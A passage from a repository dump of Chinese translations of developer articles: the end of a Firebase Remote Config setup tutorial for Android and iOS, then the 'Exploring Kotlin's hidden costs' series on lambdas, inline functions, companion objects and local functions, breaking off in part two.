允许我们获取 **long** 类型的配置值\n\n    long someLong = firebaseRemoteConfig.getLong(\"some_long\");\n   \n*   [getString()](https://firebase.google.com/docs/reference/android/com/google/firebase/remoteconfig/FirebaseRemoteConfig.html#getString%28java.lang.String%29) — 允许我们获取 **String** 类型的配置值\n\n    String someText = firebaseRemoteConfig.getString(\"some_text\");\n    \n\n#### 获取服务端的值\n\n现在我们已经有了默认的设置，可以进行下一步，来实现获取值的方法。这可以通过使用远程配置实例中的 **fetch()** 方法轻松完成。\n\n    firebaseRemoteConfig.fetch(cacheExpiration)\n                    .addOnCompleteListener(new OnCompleteListener() {\n                        @Override\n                        public void onComplete(@NonNull Task task) {\n                            if (task.isSuccessful()) {\n                                mFirebaseRemoteConfig.activateFetched();\n                                // We got our config, let's do something with it! \n                            } else {\n                                // Looks like there was a problem getting the config...\n                            }\n                        }\n                    });\n\n当调用它的时候，我们使用 OnCompleteListener 来接收来自 **fetch()** 方法的回调事件。至此，这个流程已经相当简单：\n\n*   onComplete 回调收到一个[任务](https://firebase.google.com/docs/reference/serverreference/com/google/firebase/tasks/Task)实例。 它是一个刚被执行过的异步操作的实例。\n*   接下来需要使用 **isSuccessful()** 方法检查下请求有没有成功。\n*   如果请求成功，则可以继续。这里我们需要将获取到的值激活，使用 **activateFetched()** 方法。**注意:**你必须激活获取到的参数，才能在应用中使用它们。\n*   如果请求失败，你需要相应地去处理错误请求。\n\n你可能发现了在调用 **fetch() **时传入的 cacheExpiration 参数——这个值声明了一个时间，当缓存的数据在这个时间内时，它们会被分类成未到期状态。所以如果收到的数据缓存没有超过 cacheExpiration 时间，那么这个缓存数据就会被使用。\n\n我们将会在 [Exploring Firebase eBook](http://hitherejoe.us14.list-manage.com/subscribe?u=29201953105285dda07c9fdbf&id=5725aeaf1d) 这本书中更深入地去讲述它。在我们了解如何在 iOS 中做同样的事情之后，我们将学会如果远程改变配置参数。\n\n### 在 iOS 中实现远程配置\n\n在这个部分，我们将会讨论怎样在 iOS 应用中完全配置使用远程配置。让我们开始吧！\n\n\n**添加远程配置库依赖**\n\n我们将从添加远程配置依赖到 **Podfile** 文件开始. 鉴于我们只需用到 Firebase 套件中的远程配置库，因此我们可以按如下方式添加依赖：\n\n    pod 'Firebase/RemoteConfig'\n\n接下来，你需要运行如下命令：\n\n    pod install\n\n在这之后，你就可以打开工程中的 .xcworkspace 文件然后开始添加远程配置库的依赖。如果你是使用 objective-C 的话，可以这样写：\n\n    @import Firebase;\n\n如果是使用 Swift 的话，可以这样写：\n\n    import Firebase\n\n现在，我们已经在工程项目设置中引入了远程配置库，但还需要配置一个它的实例，从而能在我们的应用中使用远程配置。在这之前，我们需要首先找到 **application:didFinishLaunchingWithOptions:** 方法，在 Objective-C 中，我们可以这样写：\n\n    [FIRApp configure];\n\n同样地，在 Swift 中：\n\n    FIRApp.configure()\n\n最后一步就是创建一个 FIRRemoteCOnfig 类的单例，以便在全应用范围内使用它。在 Objective-C 中，写法如下：\n\n    self.remoteConfig = [FIRRemoteConfig remoteConfig];\n\n在 Swift 中，写法如下:\n\n    self.remoteConfig = FIRRemoteConfig.remoteConfig()\n\n这就是在应用中加入远程配置依赖和设置的所有步骤，接下来我们可以开始准备使用它了！\n\n#### 设定应用中的默认值\n\n接下来我们需要设定一系列应用中配置的默认值，这样做的目的是：\n\n*   我们可能需要在还没有从服务器获取到配置值之前访问配置值。\n*   服务器端可能不存在任何配置值\n*   设备可能处于不能访问服务器端的状态——比如，离线状态。\n\n我们可以通过 NSDictionay 实例或者在 plist 文件中定义的方法以键值对的形式定义这些默认值。在本例中，我们配置了一个 plist 文件来表示我们的默认配置值：\n\n    \n    \n    \n    \n        some_string\n        Some string\n        has_discount\n        \n        count\n        10\n    \n    \n一旦我们定义好了默认值，我们可以方便地通过使用 **setDefaultsFromPlistFileName** 方法声明这些值为默认值。该方法存在于之前初始化的远程配置库实例中。如果是使用 Objective-C 的话，可以这样写：\n\n    [self.remoteConfig setDefaultsFromPlistFileName:@\"DefaultsRemoteConfig\"];\n\n下面的是使用 Swift 的写法:\n\n    remoteConfig.setDefaultsFromPlistFileName(\"DefaultsRemoteConfig\")\n\n#### 获取远程配置值\n\n现在我们已经设置好了配置的默认值，之后就可以在应用中立即使用这些值了。在远程配置库的类中，有 4 个可用方法能让我们使用来获取远程的配置值。当前我们只能够获取并存储以下方法返回的数据类型的值，下面是一些示例：\n\n**使用 Objective-C 获取值**\n\n    someString = self.remoteConfig[kSomeStringConfigKey].stringValue;\n    someNumber = self.remoteConfig[kSomeNumberConfigKey].numberValue.longValue;\n    someData = self.remoteConfig[kSomeDataConfigKey].dataValue;\n    someBoolean = self.remoteConfig[kSomeStringConfigKey].boolValue;\n\n**使用 Swift 的版本**\n\n    self.remoteConfig[kSomeNumberConfigKey].numberValue.longValue;\n    someData = self.remoteConfig[kSomeDataConfigKey].dataValue;\n    someBoolean = self.remoteConfig[kSomeStringConfigKey].boolValue;\n\n**使用 Swift 的版本**\n\n    someNumber = (remoteConfig[someNumberConfigKey].numberValue?.intValue)!\n    someString = remoteConfig[someStringConfigKey].stringValue\n    someBoolean = remoteConfig[someBooleanConfigKey].boolValue\n    someData = remoteConfig[someDataConfigKey].dataValue\n\n#### 获取服务器端的值\n\n现在我们设置好了默认值，接下来我们可以实现从远程获取值的方法。这可以通过远程配置库实例中的 **fetch** 方法轻松实现。\n\n在 **Swift** 中，可以这样获取远程值：\n\n    remoteConfig.fetch(withExpirationDuration: TimeInterval(expirationDuration)) { (status, error) -> Void in\n      if (status == FIRRemoteConfigFetchStatus.success) {\n        self.remoteConfig.activateFetched()\n      } else {\n        // Something went wrong, handle it!\n      }\n      // Now we can react to the result, if activated then the new    value will be used otherwise it will be the default  value\n    } \n\n同样，使用 **Objective-C** 的写法如下：\n\n    [self.remoteConfig fetchWithExpirationDuration:expirationDuration completionHandler:^(FIRRemoteConfigFetchStatus status, NSError *error) {\n        if (status == FIRRemoteConfigFetchStatusSuccess) {\n            [self.remoteConfig activateFetched];\n        } else {\n            // Something went wrong, handle it!\n        }\n        // Now we can react to the result, if activated then the new    value will be used otherwise it will be the default  value\n    }];\n\n当调用方法时，我们使用了 completionHandler 来接收 **fetch** 方法的回调事件。至此，整个流程已经相当简单：\n\n*   completionHandler 接收一个 **FIRRemoteConfigFetchStatus** 实例。它是一个刚被执行过的异步操作的实例。\n*   接下来我们需要检查请求是否成功，需要查看收到的状态值是否与 FIRRemoteConfigFetchStatusSuccessenum 匹配。\n*   如果请求成功，则继续。通过 **activeFetched** 方法将返回值设成配置值。 **注意：** 你必须先激活这些返回值，才能在应用中使用它们。\n*   如果请求失败, 你需要处理相应的错误请求。\n\n\n你可能发现了在调用 **fetch() **时传入的 cacheExpiration 参数——这个值声明了一个时间，当缓存的数据在这个时间内时，它们会被分类成未到期状态。所以如果收到的数据缓存没有超过 cacheExpiration 时间，那么这个缓存数据就会被使用。\n\n我们将会在 [Exploring Firebase eBook](http://hitherejoe.us14.list-manage.com/subscribe?u=29201953105285dda07c9fdbf&id=5725aeaf1d) 这本书中更深入地去讲述它。在我们了解如何在 iOS 中做同样的事情之后，我们将学会如果远程改变配置参数。\n\n#### 为远程配置设置服务器端的配置值\n\n至此 firebase 已经全部配置好，可以在应用中使用了，但是我们还没有利用到远程配置，因为还未为服务器端配置任何值！让我们一起来看一下如何在远程配置服务器端的配置值。\n\n**设定服务器端的值**\n\n因为我们已经配置好了客户端，接下来是时候添加服务器端的值，来远程更新我们的应用了！首先，你必须先找到 Firebase 控制台的远程配置页面，可以在这找到它：\n\nhttps://console.firebase.google.com/project/{YOUR-PROJECT-ID}/config\n\nhttps://console.firebase.google.com/project/{YOUR-PROJECT-ID}/config\n\n在这个页面中，你将会看到有一个按钮选项，上面写着“开始添加你的远程配置参数”（如果你还没有点击按钮的话），点击这个按钮继续下一步！\n\n![](https://cdn-images-1.medium.com/max/1760/1*fCewZn9r7NJwoPB1PKzNLw.png)\n\n在点击按钮之后，你将会看到一个弹窗，截图如下所示：\n\n![](https://cdn-images-1.medium.com/max/1760/1*FAVU3cQ5sm0UXT_WdAseqQ.png)\n\n这里就是你定义远程配置参数的地方。我们该在这里输入什么呢？\n\n*   **参数键名** — 这个键名是你之前在应用内部定义过的，像上文配置过程中说的那样。可以举一个例子，比如 **has_discount**。\n*   **默认值** — 这个值是当客户端获取到之后，首先被采用的值。\n\n如果我们不希望在服务器端给参数分配值，我们可以点击菜单中的 “其它空值” 选项：\n\n*   **没有值** — 这个选项将会让客户端使用已定义的默认值。\n*   **空字符串** — 这个选项会返回一个空字符串，表示没有值，客户端中的默认配置值也会被忽略掉。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1760/1*b7A-ak_PW7W6HG2s-3zB1w.png)\n\n\n\n\n\n你或许也注意到了**“为场景添加值”**按钮——它可以用作分配一个参数被应用的场景。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1760/1*2dwEkKx9k2unB0ogenPvPg.png)\n\n\n\n\n\n如果我们点击**定义一个新的场景**按钮，我们将会看到一个新的窗口，在这可以输入匹配场景的属性：\n\n![](https://cdn-images-1.medium.com/max/1760/1*imvhdLXo6-1ORxjXCMwz-g.png)\n\n在上图可以看到，在创建新场景时的一些设置项：\n\n*   **名字** — 该场景的名字\n*   **颜色** — 场景的名字在 firebase 控制台显示时的颜色\n*   **应用条件 (属性)** — 必须满足这些属性值，相应的参数才会被应用\n*   **应用条件 (参数)** — 对于给定的属性，必须应用的配置参数\n\n当前我们可以设置一条或多条（通过使用**与**按钮）场景属性。目前我们能设置如下场景属性：\n\n*   **应用 ID** — 从被选应用中选择一个 ID ，这个 ID 必须能被包括在应用中，以便可以匹配场景。\n*   **应用版本号** — 从被选应用中选择一个版本号，这个版本号必须被包括在应用中，以便可以匹配场景。\n*   **操作系统类型** — 选择一个应用实例运行所在的操作系统，当前只能是 Android 或 iOS。\n*   **随机用户百分比** — 这是一个随机百分比，用来选择一定量的随机用户来应用给定的参数。这个值可以设置为**大于**或**小于或等于**给定的百分比。\n*   **受众用户** — 从 Firebase Analytics 中选择受众来应用给定的参数。\n*   **设备所在的地区/国家** — 选择一个运行所选应用的设备所在的地区/国家来匹配场景。\n*   **设备语言** — 选择一个运行所选应用的设备中的当前语言来匹配场景。\n\n一旦我们完成以上步骤，就可以使用**创建场景**按钮来完成配置。这之后我们就会看到我们定义参数的清单以及任何应用这些参数的场景，每种场景的应用值都会在场景名字的下方，场景名是用上一步所选择的颜色来表示的，如下图所示：\n\n![](https://cdn-images-1.medium.com/max/1760/1*DpCGi-22CtnVMhe-fTMtvA.png)\n\n在你每次改动配置之后，记得点击**更新**按钮😄。现在，你的应用就可以获取到这些参数了——如果你按上述的每一个章节指导的方法的话。\n\n\n\n### 写在最后\n\n我们现在看到了 Firebase 远程配置能做到什么，也知道了怎样在我们的应用中实现远程配置来远程地改变应用的外观，体验以及行为。我希望你能从本文体验到 Firebase 的优势以及简易配置性！\n\n如果你想了解更多关于 Firebase 远程配置和其它方面特性的集成，请记得登录之后订阅我的 Firebase 电子书的发布消息！\n\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*adPhI66a3h5h3uX8G0eA1A.png)\n"
  },
  {
    "path": "TODO/exploring-kotlins-hidden-costs-part-1.md",
    "content": "\n> * 原文地址：[Exploring Kotlin’s hidden costs — Part 1](https://medium.com/@BladeCoder/exploring-kotlins-hidden-costs-part-1-fbb9935d9b62)\n> * 原文作者：[Christophe B.](https://medium.com/@BladeCoder)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译文地址：[github.com/xitu/gold-miner/blob/master/TODO/exploring-kotlins-hidden-costs-part-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/exploring-kotlins-hidden-costs-part-1.md)\n> * 译者：[Feximin](https://github.com/Feximin)\n> * 校对者：[CACppuccino](https://github.com/CACppuccino) 、[phxnirvana](https://github.com/phxnirvana)\n\n# 探索 Kotlin 中的隐性成本（第一部分）\n\n---\n\n![](https://cdn-images-1.medium.com/max/800/1*jA64NTovT-efZ96tcq-X5g.png)\n\n# 探索 Kotlin 中的隐性成本（第一部分）\n\n## Lambda 表达式和伴生对象\n\n2016年，[Jake Wharton](http://jakewharton.com/) 做了一系列有趣的关于 [Java 的隐性成本](https://news.realm.io/news/360andev-jake-wharton-java-hidden-costs-android/) 的讨论。差不多同一时期他开始提倡使用 [Kotlin](https://kotlinlang.org/) 来开发 Android，但对 Kotlin 的隐性成本几乎只字未提，除了推荐使用[内联函数](https://kotlinlang.org/docs/reference/inline-functions.html)。如今 Kotlin 在 Android Studio 3 中被 Google 官方支持，我认为通过研究 Kotlin 产生的字节码来说一下关于这方面（隐性成本）的问题是个好主意。\n\n与 Java 相比，Kotlin 是一种有更多语法糖的现代编程语言，同样也有很多“黑魔法”运行在幕后，他们中有些有着不容忽视的成本，尤其是针对老的和低端的 Android 设备上的开发。\n\n这不是一个专门针对 Kotlin 的现象：我很喜欢这门语言，它提高了效率，但是我相信一个优秀的开发者需要知道这些语言特性在内部是如何工作的以便更明智地使用他们。Kotlin 是强大的，有句名言说：\n\n> “能力越大，责任越大。”\n\n本文只关注 Kotlin 1.1 在 JVM/Android 上的实现，不关注 Javascript 上的实现。\n\n#### Kotlin 字节码检测器\n\n这是一个可选择的工具，他能推断出 Kotlin 代码是怎样被转换成字节码的。在 Android Studio 中安装了 Kotlin 插件后，选择 “Show Kotlin Bytecode” 选项来打开一个显示当前类的字节码的面板。然后你可以点击 “Decompile” 按钮来阅读同等的 Java 代码。\n\n![](https://cdn-images-1.medium.com/max/800/1*RUsF1M4oD2G4OwGE89-yOw.png)\n\n特别是，我将提到的 Kotlin 特性有：\n\n- 基本类型装箱，分配短期对象\n- 实例化额外的对象在代码中不是直接可见的\n- 生成额外的方法。正如你可能已知的，在 Android 应用中[一个 dex 文件中允许的方法数量是有限的](https://developer.android.com/studio/build/multidex.html)，超限了就需要配置 multidex，然而这有局限性且有损性能，尤其是在 Lollipop 之前的 Android 版本中。\n\n#### 注意基准\n\n我故意选择**不**公布任何微基准，因为他们中的大多数毫无意义，或者有缺陷，或者两者兼有，并且不能够应用于所有的代码变化和运行时环境。当相关的代码运行在循环或者嵌套循环中时负面的性能影响通常会被放大。\n\n此外，执行时间并不是唯一衡量标准，增长的内存使用也必须考虑，因为所有分配的内存最终都必须回收，垃圾回收的成本取决于很多因素，比如说可用内存和平台上使用的垃圾回收算法。\n\n简而言之，如果你想知道一个 Kotlin 构造对速度或者内存是否有明显的影响，**在你的目标平台上测试你的代码**。\n\n---\n\n### 高阶函数和 Lambda 表达式\n\nKotlin 支持将函数赋值给变量并将他们做为参数传给其他函数。接收其他函数做为参数的函数被称为**高阶函数**。Kotlin 函数可以通过在他的名字前面加 `::` 前缀来引用，或者在代码中中直接声明为一个匿名函数，或者使用最简洁的 [lambda 表达式语法](https://kotlinlang.org/docs/reference/lambdas.html#lambda-expression-syntax) 来描述一个函数。\n\nKotlin 是为 Java 6/7 JVM 和 Android 提供 lambda 支持的最好方法之一。\n\n考虑下面的工具函数，在一个数据库事务中执行任意操作并返回受影响的行数：\n\n```\nfun transaction(db: Database, body: (Database) -> Int): Int {\n    db.beginTransaction()\n    try {\n        val result = body(db)\n        db.setTransactionSuccessful()\n        return result\n    } finally {\n        db.endTransaction()\n    }\n}\n```\n\n我们可以通过传递一个 lambda 表达式做为最后的参数来调用这个函数，使用类似于 Groovy 的语法：\n\n```\nval deletedRows = transaction(db) {\n    it.delete(\"Customers\", null, null)\n}\n```\n\n但是 Java 6 的 JVM 并不直接支持 lambda 表达式。他们是如何转化为字节码的呢？如你所料，lambdas 和匿名函数被编译成 `Function` 对象。\n\n#### Function 对象\n\n这是上面的 lamdba 表达式编译之后的 Java 表现形式。\n\n```\nclass MyClass$myMethod$1 implements Function1 {\n   // $FF: synthetic method\n   // $FF: bridge method\n   public Object invoke(Object var1) {\n      return Integer.valueOf(this.invoke((Database)var1));\n   }\n\n   public final int invoke(@NotNull Database it) {\n      Intrinsics.checkParameterIsNotNull(it, \"it\");\n      return db.delete(\"Customers\", null, null);\n   }\n}\n```\n\n在你的 Android dex 文件中，每一个 lambda 表达式都被编译成一个 `Function`，这将最终[增加3到4个方法](https://gist.github.com/JakeWharton/ea4982e491262639884e)。\n\n好消息是，这些 `Function` 对象的新实例只在必要的时候才创建。在实践中，这意味着：\n\n- 对**捕获表达式**来说，每当一个 lambda 做为参数传递的时候都会生成一个新的 `Function` 实例，执行完后就会进行垃圾回收。\n- 对**非捕获表达式**（纯函数）来说，会创建一个单例的 `Function` 实例并且在下次调用的时候重用。 \n\n由于我们示例中的调用代码使用了一个非捕获的 lambda，因此它被编译为一个单例而不是内部类：\n\n```\nthis.transaction(db, (Function1)MyClass$myMethod$1.INSTANCE);\n```\n\n> 避免反复调用那些正在调用**捕获 lambdas**的标准的（非内联）高阶函数以减少垃圾回收器的压力。\n\n#### 装箱的开销\n\n与 Java8 大约有[43个不同的专业方法接口](https://docs.oracle.com/javase/8/docs/api/java/util/function/package-summary.html)来尽可能地避免装箱和拆箱相反，Kotnlin 编译出来的 `Function` 对象只实现了完全通用的接口，有效地使用任何输入输出值的 `Object` 类型。\n\n```\n/** A function that takes 1 argument. */\npublic interface Function1<in P1, out R> : Function<R> {\n    /** Invokes the function with the specified argument. */\n    public operator fun invoke(p1: P1): R\n}\n```\n\n这意味着调用一个做为参数传递给高阶函数的方法时，如果输入值或者返回值涉及到基本类型（如 `Int` 或 `Long`），实际上调用了**系统的装箱和拆箱**。这在性能上可能有着不容忽视的影响，特别是在 Android 上。\n\n在上面编译好的 lambda 中，你可以看到结果被装箱成了 `Integer` 对象。然后调用者代码马上将其拆箱。\n\n> 当写一个标准（非内联）的高阶函数（涉及到以基本类型做为输入或输出值的函数做为参数）时要小心一点。反复调用这个参数函数会由于装箱和拆箱的操作对垃圾回收器造成更多压力。\n\n#### 内联函数来补救\n\n幸好，使用 lambda 表达式时，Kotlin 有一个非常棒的技巧来避免这些成本：将高阶函数声明为[**内联**](https://kotlinlang.org/docs/reference/inline-functions.html#reified-type-parameters)。这将会使编译器将函数体直接内联到调用代码内，完全避免了方法调用。对高阶函数来说好处更大，因为**作为参数传递的 lambda 表达式的函数体也会被内联起来**。实际的影响有：\n\n- 声明 lambda 时不会有 `Function` 对象被实例化；\n- 不需要针对 lambda 输入输出的基本类型值进行装箱和拆箱；\n- 方法总数不会增加；\n- 不会执行真正的函数调用。对那些多次被使用的注重 CPU （计算）的方法来说可以提高性能。\n\n将我们的 `transaction()` 函数声明为**内联**后，调用代码变成了：\n\n```\ndb.beginTransaction();\nint var5;\ntry {\n   int result$iv = db.delete(\"Customers\", null, null);\n   db.setTransactionSuccessful();\n   var5 = result$iv;\n} finally {\n   db.endTransaction();\n}\n```\n\n关于这个杀手锏特性的一些警告：\n\n- 内联函数不能直接调用自己，也不能通过其他内联函数来调用；\n- 一个类中被声明为公共的内联函数只能访问这个类中公共的方法和成员变量；\n- 代码量会增加。多次内联一个长函数会使生成的代码量明显增多，尤其这个长方法又引用了另外一个长的内联方法。\n\n> 如果可能的话，就将一个高阶函数声明为**内联**。保持简短，如有必要可以将大段的代码块移至非内联的方法中。  \n> 你还可以将调用自代码中影响性能的关键部分的函数内联起来。\n\n我们将在以后的文章中讨论内联函数的其他性能优势。\n\n---\n\n### 伴生对象\n\nKotlin 类没有静态变量和方法。相应的，类中与实例无关的字段和方法可以通过[伴生对象](https://kotlinlang.org/docs/reference/object-declarations.html#companion-objects)来声明。\n\n#### 通过它的伴生对象来访问私有的类字段\n\n考虑下面的例子：\n\n```\nclass MyClass private constructor() {\n\n    private var hello = 0\n\n    companion object {\n        fun newInstance() = MyClass()\n    }\n}\n```\n\n编译的时候，一个伴生对象被实现为一个单例类。这意味着，就像任何需要从外部类来访问其私有字段的 Java 类一样，通过伴生对象来**访问**外部类的**私有**字段（或构造器）将生成额外的 getter 和 setter 方法。每次对一个类字段的读或写都会在伴生对象中引起一个静态的方法调用。\n\n```\nALOAD 1\nINVOKESTATIC be/myapplication/MyClass.access$getHello$p (Lbe/myapplication/MyClass;)I\nISTORE 2\n```\n\n在 Java 对这些字段我们可以使用 `package` 级别的访问权限来避免生成这些方法。但是 Kotlin 没有 `package` 级别的访问权限。使用 `public` 或者 `internal` 访问权限来代替的话会生成默认的 getter 和 setter 实例方法来使外部世界能够访问字段，而且调用实例方法从技术上说比调用静态方法成本更大。所以不要因为优化的原因而改变字段的访问权限。\n\n> 如果需要从一个伴生对象中反复的读或写一个类字段，你可以将它的值缓存在一个本地变量中来避免反复的隐性的方法调用。\n\n#### 访问伴生对象中声明的常量\n\n在 Kotlin 中你通常在一个伴生对象中声明在类中使用的“静态”常量。\n\n\n```\nclass MyClass {\n\n    companion object {\n        private val TAG = \"TAG\"\n    }\n\n    fun helloWorld() {\n        println(TAG)\n    }\n}\n```\n\n这段代码看起来干净整洁，但是幕后发生的事情却十分不堪。\n\n基于上述原因，**访问**一个在伴生对象中声明为**私有**的常量实际上会在这个伴生对象的实现类中生成一个额外的、合成的 getter 方法。\n\n```\nGETSTATIC be/myapplication/MyClass.Companion : Lbe/myapplication/MyClass$Companion;\nINVOKESTATIC be/myapplication/MyClass$Companion.access$getTAG$p (Lbe/myapplication/MyClass$Companion;)Ljava/lang/String;\nASTORE 1\n```\n\n但是更糟的是，这个合成方法实际上并没有返回值；它调用了 Kotlin 生成的实例 getter 方法：\n\n```\nALOAD 0\nINVOKESPECIAL be/myapplication/MyClass$Companion.getTAG ()Ljava/lang/String;\nARETURN\n```\n\n当常量被声明为 `public` 而不是 `private` 时，getter 方法是公共的并且可以被直接调用，因此不需要上一步的方法。但是 Kotlin 仍然必须通过调用 getter 方法来访问常量。\n\n所以我们（真的）解决了（问题）吗？并没有！事实证明，为了存储常量值，Kotlin 编译器实际上在主类级别上而不是伴生对象中生成了一个 `private static final` 字段。但是，**因为在类中静态字段被声明为私有的，在伴生对象中需要有另外一个合成方法来访问它**\n\n```\nINVOKESTATIC be/myapplication/MyClass.access$getTAG$cp ()Ljava/lang/String;\nARETURN\n```\n\n最终，那个合成方法读取实际值：\n\n```\nGETSTATIC be/myapplication/MyClass.TAG : Ljava/lang/String;\nARETURN\n```\n\n换句话说，当你从一个 Kotlin 类来访问一个伴生对象中的私有常量字段的时候，与 Java 直接读取一个静态字段不同，你的代码实际上会：\n\n- 在伴生对象上调用一个静态方法，\n- 然后在伴生对象上调用实例方法，\n- 然后在类中调用静态方法，\n- 读取静态字段然后返回它的值。\n\n这是等同的 Java 代码：\n\n```\npublic final class MyClass {\n    private static final String TAG = \"TAG\";\n    public static final Companion companion = new Companion();\n\n    // synthetic\n    public static final String access$getTAG$cp() {\n        return TAG;\n    }\n\n    public static final class Companion {\n        private final String getTAG() {\n            return MyClass.access$getTAG$cp();\n        }\n\n        // synthetic\n        public static final String access$getTAG$p(Companion c) {\n            return c.getTAG();\n        }\n    }\n\n    public final void helloWorld() {\n        System.out.println(Companion.access$getTAG$p(companion));\n    }\n}\n```\n\n我们能得到更少的字节码吗？是的，但并不是所有情况都如此。\n\n首先，通过 **`const`** 关键字声明值为[编译时常量](https://kotlinlang.org/docs/reference/properties.html#compile-time-constants)来完全避免任何的方法调用是有可能的。这将有效地在调用代码中直接内联这个值，**但是只有基本类型和字符串才能如此使用**。\n\n```\nclass MyClass {\n\n    companion object {\n        private const val TAG = \"TAG\"\n    }\n\n    fun helloWorld() {\n        println(TAG)\n    }\n}\n```\n\n第二，你可以在伴生对象的公共字段上使用 [`@JvmField`](https://kotlinlang.org/docs/reference/java-to-kotlin-interop.html#instance-fields) 注解来告诉编译器不要生成任何的 getter 和 setter 方法，就像纯 Java 中的常量一样做为类的一个静态变量暴露出来。实际上，这个注解只是单独为了兼容 Java 而创建的，如果你的常量不需要从 Java 代码中访问的话，我是一点也不推荐你用一个晦涩的交互注解来弄乱你漂亮 Kotlin 代码的。**此外，它只能用于公共字段**。在 Android 的开发环境中，你可能只在实现 `Parcelable` 对象的时候才会使用这个注解：\n\n```\nclass MyClass() : Parcelable {\n\n    companion object {\n        @JvmField\n        val CREATOR = creator { MyClass(it) }\n    }\n\n    private constructor(parcel: Parcel) : this()\n\n    override fun writeToParcel(dest: Parcel, flags: Int) {}\n\n    override fun describeContents() = 0\n}\n```\n\n最后，你也可以用 [ProGuard](https://developer.android.com/studio/build/shrink-code.html) 工具来优化字节码，希望通过这种方式来合并这些链式方法调用，但是绝对不保证这是有效的。\n\n> 与 Java 相比，在 Kotlin 中从伴生对象里读取一个 `static` 常量会增加 2 到 3 个额外的间接级别并且每一个常量都会生成 2 到 3个方法。  \n> 始终用 **const** 关键字来声明基本类型和字符串常量从而避免这些（成本）。\n> 对其他类型的常量来说，你不能这么做，因此如果你需要反复访问这个常量的话，你或许可以把它的值缓存在一个本地变量中。\n\n> 同时，最好在它们自己的对象而不是伴生对象中来存储公共的全局常量。\n\n---\n\n这就是第一篇文章的全部内容了。希望这可以让你更好的理解使用这些 Kotlin 特性的影响。牢记这一点以便在不损失可读性和性能的情况下编写更智能的代码。\n\n继续阅读[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/exploring-kotlins-hidden-costs-part-2.md)：**局部函数**，**空值安全**，**可变参数**。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/exploring-kotlins-hidden-costs-part-2.md",
    "content": "\n> * 原文地址：[Exploring Kotlin’s hidden costs — Part 2](https://medium.com/@BladeCoder/exploring-kotlins-hidden-costs-part-2-324a4a50b70)\n> * 原文作者：[Christophe B.](https://medium.com/@BladeCoder)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/exploring-kotlins-hidden-costs-part-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/exploring-kotlins-hidden-costs-part-2.md)\n> * 译者：[Feximin](https://github.com/Feximin)\n> * 校对者：[PhxNirvana](https://github.com/phxnirvana) 、[tanglie](https://github.com/tanglie1993)\n\n# 探索 Kotlin 中的隐性成本（第二部分）\n\n\n## 局部函数，空值安全和可变参数\n\n本文是正在进行中的 Kotlin 编程语言系列的第二部分。如果你还未读过[第一部分](https://juejin.im/post/596774c96fb9a06bb95ae46a)的话，别忘了去看一下。\n\n让我们重新看一下 Kotlin 的本质，去发现更多 Kotlin 特性的实现细节。\n\n![](https://cdn-images-1.medium.com/max/1000/1*pgUIupLpReTPmScVHMITjg.png)\n\n### 局部函数\n\n有一种函数我们在第一篇文章没有讲到：使用常规语法在其他函数内部声明的函数。这是[局部函数](https://kotlinlang.org/docs/reference/functions.html#local-functions)，它们可以访问外部函数的作用域。\n\n```\nfun someMath(a: Int): Int {\n    fun sumSquare(b: Int) = (a + b) * (a + b)\n\n    return sumSquare(1) + sumSquare(2)\n}\n```\n\n让我们先来谈谈他们最大的局限性：**局部函数不能被声明为`内联`（还不能？）并且一个包含局部函数的函数也不能被声明为`内联`**。还没有一个神奇的方法可以避免在这种情况下函数调用的成本。\n\n局部函数在编译后被转换为 `Function` 对象，就像 lambdas 那样，并且有着和上篇文章中描述的关于非内联函数的**大多数相同的限制**。编译之后的 Java 代码形式是这样的：\n\n```\npublic static final int someMath(final int a) {\n   Function1 sumSquare$ = new Function1(1) {\n      // $FF: synthetic method\n      // $FF: bridge method\n      public Object invoke(Object var1) {\n         return Integer.valueOf(this.invoke(((Number)var1).intValue()));\n      }\n\n      public final int invoke(int b) {\n         return (a + b) * (a + b);\n      }\n   };\n   return sumSquare$.invoke(1) + sumSquare$.invoke(2);\n}\n```\n\n但是与 lambdas 相比有一个小的性能损失：由于调用者是知道这个函数的真正实例的，它的**特定**方法将被直接调用，而不是调用来自 `Function` 接口的通用合成方法。这意味着**当从外部函数调用局部函数的时候不会有强制类型转换或者基础类型装箱现象发生**。我们可以通过查看字节码来验证这一点：\n\n```\nALOAD 1\nICONST_1\nINVOKEVIRTUAL be/myapplication/MyClassKt$someMath$1.invoke (I)I\nALOAD 1\nICONST_2\nINVOKEVIRTUAL be/myapplication/MyClassKt$someMath$1.invoke (I)I\nIADD\nIRETURN\n```\n\n我们可以看到那个被调用了两次的方法就是那个接收一个 **`int`** 参数并且返回一个 **`int`** 的方法，那个加法被立即执行并且没有任何中间的拆箱操作。\n\n当然，在每次方法调用的过程中仍然有着创建一个新 `Function` 对象的成本。这个成本可以通过将局部函数重写为非捕获性的来避免：\n\n```\nfun someMath(a: Int): Int {\n    fun sumSquare(a: Int, b: Int) = (a + b) * (a + b)\n\n    return sumSquare(a, 1) + sumSquare(a, 2)\n}\n```\n\n现在这个相同的 `Function` 实例将被复用，仍然没有强制类型转换或者装箱情况发生。与典型的私有函数相比，局部函数唯一的缺点就是会额外生成一个有几个方法的类。\n\n> 局部函数是私有函数的一种替代，其优点是可以访问外部函数的局部变量。但是这些优点附带着隐性成本，那就是每次调用外部函数时都会生成一个 `Function` 对象，所以最好用非捕获性的函数。\n\n---\n\n### 空值安全\n\nKotlin 